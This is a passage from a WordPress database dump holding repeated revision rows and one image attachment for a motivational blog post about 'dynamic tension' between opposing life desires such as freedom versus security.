impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-4', '', '', '2011-07-24 12:27:13', '2011-07-24 19:27:13', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-4/', 0, 'revision', '', 0),
(1741, 2, '2011-07-24 12:29:01', '2011-07-24 19:29:01', '<img class="alignnone size-full wp-image-1736" title="wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/wrestlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. It can’t be done, you know it and it has you buggered and stuck.</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n• creative freedom vs. financial security\r\n\r\n• working independently vs. being a member of a team\r\n\r\n• individual control vs. partnership\r\n\r\n• automony vs. support and security\r\n\r\n• family vs. career\r\n\r\n• living where you want vs. living where you work\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-5', '', '', '2011-07-24 12:29:01', '2011-07-24 19:29:01', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-5/', 0, 'revision', '', 0),
(1742, 2, '2011-07-24 12:29:25', '2011-07-24 19:29:25', '<img class="alignnone size-full wp-image-1736" title="wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/wrestlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. It can’t be done, you know it and it has you buggered and stuck.</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-6', '', '', '2011-07-24 12:29:25', '2011-07-24 19:29:25', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-6/', 0, 'revision', '', 0),
(1743, 2, '2011-07-24 12:29:36', '2011-07-24 19:29:36', '<img class="alignnone size-full wp-image-1736" title="wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/wrestlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. It can’t be done, you know it and it has you buggered and stuck.</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-7', '', '', '2011-07-24 12:29:36', '2011-07-24 19:29:36', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-7/', 0, 'revision', '', 0),
(1744, 2, '2011-07-24 12:34:21', '2011-07-24 19:34:21', '<img class="alignnone size-full wp-image-1736" title="wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/wrestlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one pole will prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-8', '', '', '2011-07-24 12:34:21', '2011-07-24 19:34:21', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-8/', 0, 'revision', '', 0),
(1745, 2, '2011-07-24 12:42:48', '2011-07-24 19:42:48', '', 'sumu-wrestlers', 0, '', 'inherit', 'open', 'open', '', 'sumu-wrstlers', '', '', '2011-07-24 12:42:48', '2011-07-24 19:42:48', '', 1735, 'http://www.whitehotcenter.com/wp-content/uploads/2011/07/sumu-wrstlers.jpg', 0, 'attachment', 'image/jpeg', 0),
(1746, 2, '2011-07-24 12:34:28', '2011-07-24 19:34:28', '<img class="alignnone size-full wp-image-1736" title="wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/wrestlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one pole will prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-9', '', '', '2011-07-24 12:34:28', '2011-07-24 19:34:28', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-9/', 0, 'revision', '', 0),
(1747, 2, '2011-07-24 12:43:06', '2011-07-24 19:43:06', '<img class="alignnone size-full wp-image-1745" title="sumu-wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/sumu-wrstlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one pole will prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-10', '', '', '2011-07-24 12:43:06', '2011-07-24 19:43:06', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-10/', 0, 'revision', '', 0),
(1748, 2, '2011-07-24 12:43:37', '2011-07-24 19:43:37', '<img class="alignnone size-full wp-image-1745" title="sumu-wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/sumu-wrstlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one must prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-11', '', '', '2011-07-24 12:43:37', '2011-07-24 19:43:37', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-11/', 0, 'revision', '', 0),
(1749, 2, '2011-07-24 12:43:46', '2011-07-24 19:43:46', '<img class="alignnone size-full wp-image-1745" title="sumu-wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/sumu-wrstlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one must prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come form our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices.  These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-12', '', '', '2011-07-24 12:43:46', '2011-07-24 19:43:46', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-12/', 0, 'revision', '', 0),
(1750, 2, '2011-07-24 13:15:11', '2011-07-24 20:15:11', '<img class="alignnone size-full wp-image-1745" title="sumu-wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/sumu-wrstlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one must prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands 